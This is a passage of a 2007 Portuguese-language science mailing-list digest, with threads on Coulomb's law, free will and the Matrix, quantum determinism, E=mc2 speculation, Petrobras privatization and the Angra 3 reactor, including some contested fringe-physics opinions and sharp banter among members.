Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).

Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está "cabaço", como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.

Sds,

Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [pedraderoseta] Re: O Salto do Livre-arbítrio
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: pedraderoseta@yahoogrupos.com.br, ciencialist@yahoogrupos.com.br
CC: avalanchedrive@hotmail.com
DATE: 12/05/2007 19:41

Champolion da Silva...
Caramba... sua sabedoria esmaga demais a nossa ridícula pequenês...
Diga mais... deixe-nos mergulhar em suas palavras...
Salve-nos...
Se alguém estiver com a correntinha do pescoço livre, pode entregar para vc,
porque vc saberá conduzí-lo por este mundo confuso, tormentozo e
amendrontador.
Leve-nos mestre, desculpe, Mestre.
Seu transe nos levará ao delírio!
Salve-nos messias... Salve-nos, Bento XVII... Ó Osho tupí! Vós sois o
possuidor daquilo que nos falta... Nós que simplesmente pastamos e ruminamos
na brachiara da ignorância!
Abaixo a Universal, as outras pentecostais e a sua vil derrama!
Tire-nos da lama da escuridão... Funde logo uma religião... estamos
esperando!
Não precisamos de mais nada! Não nos bastamos! Guie-nos!!! Guie-nos!!!
Modere-nos!!!
( de vez em quando vc se revela, Champô! :)
Boa sorte para o mundo...
Sinceramente confiando ''naquilo''...
Muliro SP 12/maio
( as minhas cicatrizes possuem cicatrizes, que possuem cicatrizes e calos. )


>From: Ferrari <emailferrari@yahoo.com.br>
>Reply-To: pedraderoseta@yahoogrupos.com.br
>To: pedraderoseta@yahoogrupos.com.br, Y
><transconhecimento@yahoogrupos.com.br>
>Subject: [pedraderoseta] Re: O Salto do Livre-arbítrio
>Date: Fri, 11 May 2007 12:24:06 -0300 (ART)
>
>Olá Ricardo!
>
>Ricardo >>> To acompanhando a conversa, sobre esse
>tema, entre vc e o Gustavo, lá na Trans.
>
>--- Olha deus gritando ai. Sincronicidade na matrix.
>Vc e o Gustavo enviaram duas onda iguais para praias
>diferentes. Pode ouvir o que este grito está dizendo?
>
>--- Estou mandando esta respota pra roseta e pra
>trans, creio que será util esta onda chegar até a
>praia da trans também. Brow, voce usa seu livre
>arbitrio e decide onde prefere surfar.
>
>Ricardo >>> A minha dúvida se parece com a do Gustavo.
>Quem é esse eu? Quem é esse espírito q vc fala? É a
>consciência?
>
>--- Se disser que sim, que é a consciencia: e dai?
>
>--- Vc vai pegar um livro, ou então, o dicionário
>Aurélio e estudar o que é consciencia? Vc vai entrar
>num site de budismo, num site do Ken Wilber, do Lama
>Saten, do Sai Baba, do Osho e vai buscar entender o
>que é "consciencia"? É isto que vai fazer? Vai ficar
>raciocinando e comparando o que os outros dizem até
>que tenha um ráciocinio perfeito sobre o que é
>conciencia? É isto que irá fazer?
>
>--- Ou então, vc pensará: "mas me parece que o ferrari
>sabe a resposta, vou perguntar diretamente pra ele,
>assim, se ele sabe mesmo, me explica e eu aprendo".
>
>--- Grande engano. Consciencia é você.
>
>--- Agora, se vc não sabe quem voce é, como posso
>saber por você. Não posso. Tudo que posso lhe ensinar
>sobre o que voce é, você só pode aprender e não saber.
>Aprender é raciocinar. Saber é autoconsciencia.
>
>--- O que estou fazendo com estas letras pretas que
>voce está lendo neste exato instante? Só estou fazendo
>voce raciocinar, só isto. Este é meu limite. Posso
>usar as palavras para conduzir o seu raciocinio até a
>beira do abismo, até a beira de onde o raciocinio não
>pode prosseguir, até a beira de onde o raciocinio pára
>e voce começa. Posso fazer isto porque conheço o
>caminho. Mas não posso pular no abismo que é voce por
>voce.
>
>--- Quando fiz a especifica pergunta sobre
>livre-arbitrio ao Lama Santen, não estava querendo ser
>mais do que ele. Isto é impossivel. Estava apenas
>querendo comprovar uma teoria que tinha na memória a
>algum tempo. Que teoria?
>
>--- Que os meditadores não entram no estado de
>meditação justamente porque acreditam no
>livre-arbitrio.
>
>--- Parece paradoxal! Mas não é. O que atrapalha o
>estado de meditação é a crença no livre-arbitrio, e
>não é o livre-arbitrio (em si).
>
>--- Ou seja, a crença no livre-arbitrio é diferente do
>livre-arbitrio em si.
>
>--- A crença no livre-arbitrio é do ego. O
>livre-arbitrio em si é seu (espirito - buda).
>
>--- O que aconteceu naquele dia foi simples. A
>resposta do Lama Santen foi sobre sua crença no
>livre-arbitrio (segundo a doutrina budista) e não do
>livre-arbitrio em si. Ele é Lama e tudo mais. Estava
>sentado em posição de flor de lotus, num patamar acima
>de seus discipulos... mas não soube (ou não quis) me
>levar até a beira do abismo.
>
>--- Sendo bem honesto, não me incomodou a resposta
>dele. Fiquei com pena dos seus discupulos. Discipulos
>que seguem um mestre que não conhece o caminho até o
>abismo. Claro que esta é minha interpretação. E mesmo
>que for verdade, está tudo dentro do karma. Estou
>apenas expressando sinceramente o que ficou registrado
>na memória.
>
>Ricardo >>> Quem escolheu entrar na Matrix?
>
>--- Voce mesmo!
>
>Ricardo >>> Esse "eu" seria livre, ou a liberdade está
>em não haver realmente esse "eu" q possa estar livre.
>A liberdade é saber q não existe ninguém que possa
>estar preso ou livre? E o que existe é só o processo.
>
>--- Liberdade é sua natureza. Vc é espirito, e
>espirito é sempre livre. Voce apenas passa a ignorar
>sua natureza quando entra na Matrix. Ou seja, quando
>passa a animar um ego. Voce entra na matrix humana
>(ego) e se idenficica com o ego (ricardo) assim como o
>Neo se identifica com o Mr. Anderson.
>
>--- Voce não tem como sair do Ricardo, assim com o Neo
>não tem como sair do Mr. Anderson. O Neo decide entrar
>na Matrix, se conectar, mas não é ele que se coloca lá
>"dentro", é a propria matrix com seu processo de
>conecção. Vc está "dentro" do ricardo. Vc decidiu
>estar ai, mas vc não pode sair porque não foi vc que
>se colocou dentro do ricardo, nem é vc que se mantém
>ai dentro, é deus.
>
>--- Sendo que voce está "dentro" do Ricardo assim como
>o Neo que está "dentro" do Mr. Anderson, o que vcs
>podem escolher nesta condição? Qual é o livre-arbtrio
>que vcs dois tem dentro do ego? É o seguinte:
>
>--- Auto-ignorancia ou auto-consciencia?
>
>--- Vc escolhe enter um e outro. De instante em
>instante. Só isto? Só isto. Dentro da matrix é só
>assim que determinismo e livre-arbitrio co-existem.
>Voce não controla nada dentro da matrix, a não ser se
>manter ou não autoconsciente.
>
>--- Sobre o processo: O ricardo não está passando por
>um processo, o ricardo é o processo. E voce não é o
>ricardo.
>
>--- Mas quem é voce, afinal, Mr Ricardo Anderson?
>
>--- Vc é o Neo? Não, Neo é só uma palavra. Só um
>raciocinio. Vc é a consciencia? É o buda? É o
>espirito? É energia? É matéria? É a soma dos quadrados
>dos catetos? Também não. Apenas mais palavras. Mais
>raciocinios.
>
>--- Mas, então, quem é vc?
>
>(NEO EM CIMA DO PRÉDIO DA CRENÇA)
>
>MORPHEUS: Tank, carregue o programa para saltos!
>NEO: O que é isto?
>MORPHEUS: Neo, voce tem que se desindentificar da
>crença de você. Você não é o que voce pensa sobre
>você, voce é o que voce é. Precisa dar este salto! A
>cada instante.
>NEO: Que salto?
>MORPHEUS: Salto de identidade. Liberte-se da crença no
>livre-arbitrio usando seu livre-arbitrio!
>NEO: Puta merda! Ok, vamos lá! Sem problemas.
>
>HORÓSCOPO: Acho que ele vai conseguir.
>KEM WILBER: De jeito nenhum. Só o Atmam consegue.
>LAMA SANTEN: Ele ainda não está preparado. Melhor usar
>pnl com cara de budismo.
>SWITCH: Mas e se ele conseguir?
>APOC: Não vai conseguir.
>ALLAN KARDEK: Sem ler o livro dos espiritos antes,
>duvido?
>FREUD: Só pode ser psicose dele!
>TRINITY: Vai, Neo!
>
>e ...
>
>
>
>sinceramente
>ferrari
>
>
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>
>




SUBJECT: P/ João - Re: O Que é Raciocinar?
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/05/2007 20:45

Olá João

João: "Ainda estou para ler o livro do Pinker sobre o assunto. Talvez
ele seja o maior psicolinguista atual, e certamente o maior divulgador
dos conhecimentos nesta área."

Eu li Tabula Rasa e é fantástico, vale o esforço (não é um livro fácil
ou simples). E vale muitas vezes seu preço, embora livros no Brasil
custem um absurdo.

No submarino, 62 reais:
http://www.submarino.com.br/books_productdetails.asp?Query=ProductPage&ProdTypeId=1&ProdId=238270&ST=SR

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, Ferrari.
>
> > João >>> Mas você ignorou completamente a linguagem,
> > que é o elemento realmente incrível em tudo isso.
> >
> > --- Sobre linguagem (cerebral) estava falando um pouco
> > antes, quando falo das regras de codificação e
> > decodificação. Como são várias, tem muito a ser
> > estudado. Se vc quiser conversar sobre isto. Estou a
> > disposição.
>
> Ainda estou para ler o livro do Pinker sobre o assunto. Talvez ele
> seja o maior psicolinguista atual, e certamente o maior divulgador
> dos conhecimentos nesta área.
>
> > Por exemplo, o que lhe chama mais a
> > atenção na questão da linguagem?
>
> Algo que o Pinker já disse. A possibilidade de transmitir informações
> e pensamentos complexos através da emissão de sons pela boca, tinta
> impressa num papel, ou variação na intensidade de luz dos pixels numa
> tela de vídeo. Tudo isso que estamos fazendo aqui, todas as idéias
> que trocamos, informações que comunicamos, se dão por intermédio da
> linguagem. E a linguagem não é algo que se inventa pela cultura. Ela
> é produto de um sofisticado aparato linguístico do cérebro. É talvez
> a habilidade que mais diferencia o homem dos outros animais.
>
> Saudações.
> João de Carvalho
>




SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/05/2007 21:24

Izé:

Chucro na matéria, até agora não entendi nada: tenh9 sérias limitaçoes intelectuais, gosto de ler as coisas límpidas, claras como o sol, suaves como o luar:

Um cita uma conclusão que o outro contesta. e eu entro em parafuso:

qual o endereço do seu blog?

Tem um texto bem claro que defina o que é matéria, a essência do universo?

brigadão,

silvio.
----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 11, 2007 6:37 PM
Subject: [ciencialist] Re: E=m.c2


Silvio, cumpadre, se o JC for eu a minha resposta é que, se for
possível fazer algo com a suposição feita, então a suposição é
relevante, senão, pouco importa. O Takata já listou à poucas mensagens
algumas respostas que gostaríamos de obter com as sempre novas e
interessantes hipóteses que vivem aparecendo.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Mestre Takata e JC::
>
> Vão responder? estou curioso...
>
> silvio.
>
>
> ----- Original Message -----
> From: Jeff
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, May 08, 2007 12:02 PM
> Subject: Re: [ciencialist] Re: E=m.c2
>
>
> >
> >A conclusão de que a matéria é uma onda
> >estacionária em trajetória fechada é algo
> >interessante. Contudo ela tb esbarra na
> >questão do 'recipiente' ou 'anteparo' da onda.
> >Ou estarei enganado? Na Teoria da Velocidade
> >Absoluta, o que faz a onda de energia refletir
> >para tornar-se estacionária?
> >
>
> Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o
pessoal aí
> analisasse. Considerem que eu não sou físico ou matemático, só um
computeiro
> curioso :-)
>
> Eu *imagino* que uma partícula elementar de matéria seja um
quantum de
> energia pura que ficou confinado, por causa de sua baixíssima
energia, numa
> dimensão menor, exatamente do tamanho do comprimento de planck! Do
mesmo
> modo que o que confina a energia do nosso universo seria o
espaço-tempo!
> Assim, de acordo com a quantidade de energia do quantum, este ficaria
> confinado nesta minúscula dimensão ou não (como a luz - as ondas
"livres").
> Penso então que as barreiras dimensionais sejam apenas a
quantidade de
> energia! Uma quantidade maior de energia poderia "furar" esta
barreira e
> navegar pelo nosso universo (teria, portanto, criado o nosso
universo) e
> energias muito maiores ainda poderiam "furar" o nosso universo,
indo para
> dimensões maiores ainda!!!
>
> Será que "viajei" muito? :-)
>
> Um abraço,
> Jeff.
>
>
>
>
>
>
>
----------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date:
6/5/2007 21:01
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.8/800 - Release Date: 11/5/2007 19:34


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/05/2007 23:20

Aos amigos Ciencialisteiros

Estou reencaminhando esta msg (com ligeiras modificações) pois
provavelmente a original ficou perdida no contínuum espaço-tempo do
Yahoo

----- Original Message -----
From: "Jeff"
Sent: Friday, May 11, 2007 3:56 PM
Subject: Re: [ciencialist] Re: Determinismo e incerteza

> Eu não conheço bem estas interpretações da mecânica
> quântica, mas entendo que não é possível existir
> aleatoriedade objetiva em um sistema fechado!
> Ou estou errado? Eu acredito na falta de
> conhecimento de variáveis que podem determinar
> certos comportamentos quânticos e na prepotência
> de cientistas em afirmarem que não.

Olá Jeff

Eu diria que a coisa é mais ou menos por aí, se bem que os
precursores da mecânica quântica não chegaram propriamente a se
postarem como prepotentes, como sói acontecer com os seus seguidores,
em especial os da atualidade. Dentre os precursores, alguns aceitavam
a idéia de "variáveis escondidas" (a começar por Einstein) enquanto
outros adotavam o "critério de utilidade" (a começar por Bohr). Para
esses últimos, a teoria, certa ou errada, estava completa e qualquer
variável do tipo esperado pelos primeiros iria despersonalizar a
teoria. A teoria funcionava, logo sob o ponto de vista utilitarista
achavam que seria uma grande asneira procurar por essas "variáveis
escondidas".

Na realidade eu diria que o problema é um pouquinho mais complexo e
não consiste apenas na procura pelas "variáveis escondidas", mas sim
na redefinição de variáveis consagradas pela física clássica do final
do século XIX. No rodapé das minhas msgs, por exemplo, eu costumo
dizer que o elétron não é uma carga elétrica em miniatura, e essa é
uma verdade que físico quântico nenhum da atualidade, dentre aqueles
que por aqui apareceram, conseguiu rebater de maneira pelo menos
aceitável e/ou criticável. Eu já perdi a conta dos especialistas
(alguns mestres ou doutores em física) que, aqui na Ciencialist,
tentaram e acabaram desistindo. Via de regra, foram cantar noutra
freguesia, pois não conseguiram convencer a ninguém de nada.

Existem alguns que apelam para determinados teoremas da "fismat" a
afirmarem que matematicamente seria impossível a existência
das "variáveis escondidas", mas esses teoremas foram formulados
aceitando-se aquelas mesmas idéias e/ou variáveis que se mostraram
incompatíveis com a explicação de algumas experiências efetuadas no
final do século XIX (Michelson-Morley, espectro do corpo negro,
etc.). Ninguém quer aceitar a idéia proposta para o elétron não-
carga elétrica coulombiana, nem a idéia de luz corpuscular, nem
tampouco uma explicação plausível e a justificar a segunda lei da
termodinâmica. Consequentemente, ficamos frente a esses teoremas
matemáticos que nada mais são senão uma maneira requintada de se
aceitar os "critérios de utilidade" de Bohr.

Ou seja, não há como assimilar variáveis escondidas num terreno em
que a grande maioria das variáveis têm se mostrado mal definidas.
Novamente ficamos frente a "uma escolha entre o roto e o
esfarrapado", qual seja, entre as teorias que aceitam a idéia
de "variáveis escondidas" e as teorias que aceitam os "critérios de
utilidade" de Bohr (deixando-se de lado todo o potencial inerente à
física clássica, ainda que esta necessite de algumas redifinições a
se compatibilizarem com a experimentação da atualidade).

> Eu não estudo física, mas tudo (pouco) o que eu lí
> a respeito não dá *provas* da aleatoriedade objetiva
> de certos comportamentos quânticos, mas apenas a
> impossibilidade de medição... Entendo que não poder
> medir não significa não existir.

Essa impossibilidade é um dos dogmas da física "moderna". Os
físicos "modernos" conseguem medir coisas que não existem, como por
exemplo, a carga elétrica de um elétron e, graças a isso, acabam por
chegar em situações em que o que de fato existe não pode ser medido.
O número e = 1,609x10^-19 C realmente existe, mas isso é uma
constante universal que não tem nada a ver com a carga coulombiana do
elétron, pois isso não existe.

> Se existir um raciocínio lógico que conclua que é
> possível acontecer alguma coisa sem causa, eu
> gostaria de entendê-lo!

Talvez isso seja estudado na lógica paraconsistente, algo que tem
muito a ver com a lógica da física quântica (se é que existe alguma
lógica no que dizem os físicos quânticos). Por outro lado, eu diria
que embora a causa se nos mostre sempre presente --muitas vezes
adquirindo uma conotação importante-- a causalidade, a meu ver, não
serve como ponto de apoio para a ciência. Quero crer que quem
primeiro se deu conta dessa realidade foi Galileu.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Por quanto venderíamos a Petrobrás?
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 02:57

Por que preço deveríamos vender a Petrobrás caso o governo decidisse
privatizada? Em 2004 o valor da Petrobrás era 42 bilhões. Em 2005
saltou para 72 bilhões. Ela agora parece estar superando 110 bilhões
de dólares. A Exxon vale 411 bilhões, e é uma das maiores empresas do
mundo. A Microsoft vale uns 300 bilhões. A Google cresceu
meteoricamente para mais de 150 bilhões. A Vale do rio doce vale uns
50 bilhões. Por quanto o governo deveria vender sua parte da
Petrobrás? Acho que uns 200 bilhões estaria bom. Só que por esse
preço acho que ninguém iria querer comprar.

João de Carvalho




SUBJECT: Documentários científicos legendados em português
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 13/05/2007 06:56

Documentários científicos legendados em
português<http://100nexos.com/arquivo/143>
<http://100nexos.com/arquivo/143#respond>

Acima você confere o spot de seis minutos, "O Campo Profundo do Hubble:a
imagem mais importante já tomada". É apenas um dos vinte e nove
documentários curtos que Carlos Portela legendou em português e podem ser
acessados no sítio Mojiti <http://mojiti.com/explore/sets_for/carlosportela>.
O sítio Mojiti, por sua vez, é interessante por si mesmo: permite que você
adicione legendas, comentários, figuras, imagens e até outros vídeos em
clipes já existentes no Youtube e outros serviços de hospedagem. O resultado
final é como você confere acima. Bom programa!


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 08:23

Diz Ferrari (sim, apenas diz, é o que mais gosta de fazer):


Olá Homero!

> Pois eu vi ontem à noite na TV um baterista de rock
> "raciocinando" como louco, ao bater em seu
> instrumento, e produzir ondas de ar adoidado..:-)
> Afinal, "raciocinar é fazer ondas na matéria (no
> meio) que se propagam"..:-)

--- Outro bom exemplo! Como tocar bateria sem um
cérebro controlando os movimentos do corpo? Como
manter o ritmo sem um cérebro controlando os
movimentos do corpo? É possivel?

Léo: Claro que é possível! E nosso sistema autônomo? A respiração, o piscar, o coração etc., necas de cérebro envolvido! O duro é que vc vai por na sua cabeça que "raciocinar é fazer ondas na matéria (no meio) que se propagam" e vai encher o saco filosófico de buteco até esgotar nossa paciência com exemplos cada vez mais bobo. É só ver as suas sequencias e veremos como é assim. Ferrari, leia um pouquinho alguma coisa útil e deixe essa filosofia de buteco para as reuniões de buteco.

Bem, nem vou ler ai prá baixo porque será turronice de insistência sem qqer estrutura científica.

aquele abraço,

Léo
++++++++++++++++++

--- E o mais interessante neste exemplo, é que musica
(a parte do ritmo), é divisão temporal. Ou seja, o
cérebro de um baterista é um cérebro perito em fazer
ondas temporais no meio.

--- Vou aproveitar o exemplo e contar um história
interessante sobre o raciocinio, as ondas e a musica.

--- Sou musico. E tenho alguns amigos musicos. Um
deles, certa vez, foi estudar violão numa escola de
São Paulo especializada em Swing. Pra ilustrar, um dos
idolos do professor da escola é o Jorge Benson. Bem, a
primeira coisa estranha que descobri sobre esta escola
é que meu amigo foi estudar violão e teve que aprender
a tocar bateria primeiro. Passou um tempão estudando
bateria antes de pegar no violão. Segundo o professor
desta escola, para ser um bom musico, primeiro é
preciso dominar o raciocinio ritmico pra depois
dominar o raciocinio melódico. A segunda coisa
estranha aconteceu no dia em que meu amigo me levou
pra conhecer a escola. A escola tinha um ambiente
muito agravavel, todo mundo ali gostava muito daquela
filosofia de estudo, mas os violões eram um lixo. Eram
uns violões ruins e detonados. Peguei um pra tocar e
achei aquilo muito estranho. Perguntei pro meu amigo e
ele falou que aquilo era proposital. Quando tive a
oportunidade de conversar com o professor dele,
perguntei dos violões. E o cara me fez ver algo que
nunca mais me esqueci, ele disse: "voce toca violão
com a mão ou com a mente? de onde vem a sua musica, do
violão?".
sinceramente
ferrari
++++++++++++++++
Então prá que violão? Use apenas a mente! Engesse a mão do cara e peça para ele executar com a mente! Simples não?

Báááá.......



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 08:31

Ferrariando, temos:


>Olá Takata!

>Vc recebeu a menssagem desta thread que tinha esta pergunta sobre sua afirmação?

>>Takata >>> Você pode dividir o carro sem separar as partes.

>--- Ok. Mas como? Pode dar um exemplo?

Carro = C
C/2 = meio carro
C/3 = 1/3 de carro

Carro = chassi, lataria, pneus, motor, freios, direção, buzina etc. Eis o carro dividido em partes SEM SEPARAR AS PARTES.

Carro = C + A + R + R + O = carro

Vamos pegar todas as peças que constituem um carro e juntá-las numa caçamba só. Eis um carro totalmente dividido, SEM SEPARAR AS PARTES. Aliás, muito bem juntas e misturadas!

E assim vai .....

[]'
Léo





SUBJECT: Re: [ciencialist] transcrevo:
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <paucor@superig.com.br>, <noosfera_II@yahoogrupos.com.br>, Inovação Tecnológica <eboletim@inovacaotecnologica.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 13/05/2007 08:33

Isso é política, bem de acordo para a lista politicab@yahoogrupos.com.br , Grupo de Debates Políticos Brasileiro etc.
Será que não conseguem discernir para que listas devem enviar os textos pertinentes? É tão difícil assim?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <redeliberal@yahoogrupos.com.br>; <politicab@yahoogrupos.com.br>; <paucor@superig.com.br>; <noosfera_II@yahoogrupos.com.br>; "Inovação Tecnológica" <eboletim@inovacaotecnologica.com.br>; "Grupo de Debates Políticos Brasileiro" <brasil-politica@grupos.com.br>; <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Cc: <Conversa_de_Botequim@yahoogrupos.com.br>
Enviada em: sexta-feira, 11 de maio de 2007 12:40
Assunto: [ciencialist] transcrevo:


Ministro de Minas e Energia garante: Angra 3 vai sair

Ministro Silas Rondeau diz que a decisão sobre quando a usina será construída deverá ser tomada pelo CNPE em junho

Leonardo Goy escreve para "O Estado de SP":

A usina nuclear de Angra 3 vai ser construída, afirmou o ministro de Minas e Energia, Silas Rondeau, nesta quarta-feira.

"A questão é definir quando", acrescentou, durante seminário sobre energias renováveis promovido pela Câmara dos Deputados. A decisão final sobre a construção de Angra 3 deverá ser tomada pelo Conselho Nacional de Política Energética (CNPE), que deverá se reunir em junho.

O tema divide o governo. Além de Rondeau, o ministro da Ciência e Tecnologia, Sergio Rezende, e a ministra-chefe da Casa Civil, Dilma Rousseff, são a favor do projeto.

Há, porém, oposição da ministra do Meio Ambiente, Marina Silva. O CNPE também poderá discutir o dilema entre a construção de usinas hidrelétricas e a proteção ao meio ambiente.

O ministro lembrou que para tomar a decisão sobre Angra 3 será necessário adequar a legislação do setor elétrico de forma a definir como será vendida a energia produzida pela usina.

Ele ressaltou que as usinas nucleares de Angra 1 e 2 foram construídas numa época em que o modelo era totalmente estatal.

Angra 3, por ser uma usina nuclear, terá de ser construída pelo governo. A questão pendente é como a energia dela será ofertada. "Não pode ser por leilão, pois é uma obra do governo. Então temos de adequar à legislação", disse ele.

Indagado se o Banco Nacional de Desenvolvimento Econômico e Social (BNDES) financiaria parte da construção de Angra 3, Rondeau disse que não sabe, mas presume que sim.

Biodiesel

Rondeau disse, ainda, que, desde o fim de abril, o País tem capacidade de produzir o biodiesel necessário para garantir a mistura de 2% em todo o diesel vendido no país. Essa exigência entrará em vigor em 2008.

A capacidade total do país foi ultrapassada, com segurança, com a autorização, em 30 de abril, para que a usina da Brasil Ecodiesel, em São Luiz, entre em operação. Essa usina tem capacidade de produzir 108 milhões de litros por ano.

Com isso, a capacidade total do País chega a 962 milhões de litros por ano, superando, com folga, os 840 milhões de litros necessários para que a mistura de 2% possa começar a partir do ano que vem.
(O Estado de SP, 10/5)


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 08:52

Oi Victor,

coloquei esse texto e figuras na pasta "provisorio" do Imperdível; veja:

http://www.feiradeciencias.com.br/provisorio/relatividade.htm

está incompleto ...ainda!

[]'
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Luiz Ferraz Netto [Léo]
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De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 11 de maio de 2007 21:28
Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida


Caro Léo,

Já ensaiei uma resposta, mas preciso que você me informe o link onde
encontrarei as Figuras 1 e 2,

a respeito de sua proposição mais abaixo.

Só para verificar se refiz tais figuras conforme você descreveu.

Sds,

Victor.




SUBJECT: RES: [ciencialist] Por quanto venderíamos a Petrobrás?
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:13

Olá, João,



Quando, no Governo FHC, aventaram-se as fortes hipóteses das privatizações,
fiquei com um lá e outro cá. E pensei: o Brasil não tem competência técnica
para fazer avaliações corretas de bens do porte do que iriam privatizar.
Teriam de recorrer a consultorias internacionais, especializadas
...”isentas e imparciais”. Pois sim! Tal era a absoluta inexistência de
tradição no mister. Contudo, alguns negócios foram levados a efeito, com
resultados questionáveis e ruins, no começo. Vendidos a preços de banana.
Este foi o caso da Vale do Rio Doce, por exemplo. Que hoje vale muito,
cresceu meteoricamente. Em contrapartida, o volume de impostos recolhidos
aos cofres públicos aumentou assustadoramente, infelizmente para a farra
desses que têm as rédeas e o chicote nas mãos. E não fazemos nada.

Mas outro tipo de privatização acabou sendo prá mais do que benéfico, para o
povo e para o país. O baixo custo da venda está soberbamente superado, hoje:
trata-se das operadoras de telefonia! Antes, tudo era muito difícil e muito
caro. Todas as vezes que precisava comprar telefones, teria de ficar numa
fila e/ou recorrer a atravessadores que circulavam em volta dos prédios das
telefônicas. Eu sei. Passei por andei por trilhas. Além dos preços
abusivamente altos praticados e fora as comissões extras pelos “favores”
prestados por alguns “corretores. Sem falar na péssima qualidade dos
serviços. Políticos famosos, perpetuados no poder, como um comprido e
escorregadio político aqui de Pernambuco, que passou, calado e escondinho,
sempre tendo um influência apreciável , por TODOS os governos, inclusive os
conduzidos por militares, responsáveis pela tal revolução que não houve, que
foi só de leve, quase parando. Este tal, segundo as más boas línguas de seus
conterrâneos, tinha na época, cerca de 10.000 telefones alugados, pois esta
era uma prática comum. Era outra fonte de renda muito cobiçada e posta em
prática por muitos(Também não sei avaliar até onde isto é verdade, no que se
refere ao número extraído da boa dos fofoqueiros de plantão. Só sei que
todos sabiam, inclusive o experts no assunto, os corretores de telefones de
então.Bons negócios, aqueles.) Que não fossem 10.000. A metade já seria de
bom tamanho para as fofocas do dia a dia. Senão, de quê se iria fofocar?

Fui contra algumas privatizações, mas esta, às telefônicas, foi bem
aplicada, pois atingiu a incompetência e o descaso dos gestores. E hoje
vemos que deu certo. Com a privatizão, tudo isso entrou pela perna do pinto
e saiu pela do pato. Perderam tudo. Bem feito.

Quanto à Petrobrás, não tenho a menor dúvida de que ainda não há competência
técnica para dizer se vale 200 ou 500 bilhões. Simplesmente acho que
dinheiro nenhum justificaria sua privatização. Trata-se de uma Empresa de
caráter estratégico, que, como o Banco do Brasil e Caixa Econômica ou Chesf,
é séria e conduzida por pessoas muito competentes e tem crescido muito.
Todas as três com um bando de urubus espreitando para a investida!
Políticos e não políticos. Se um candidato a Presidente da República quiser
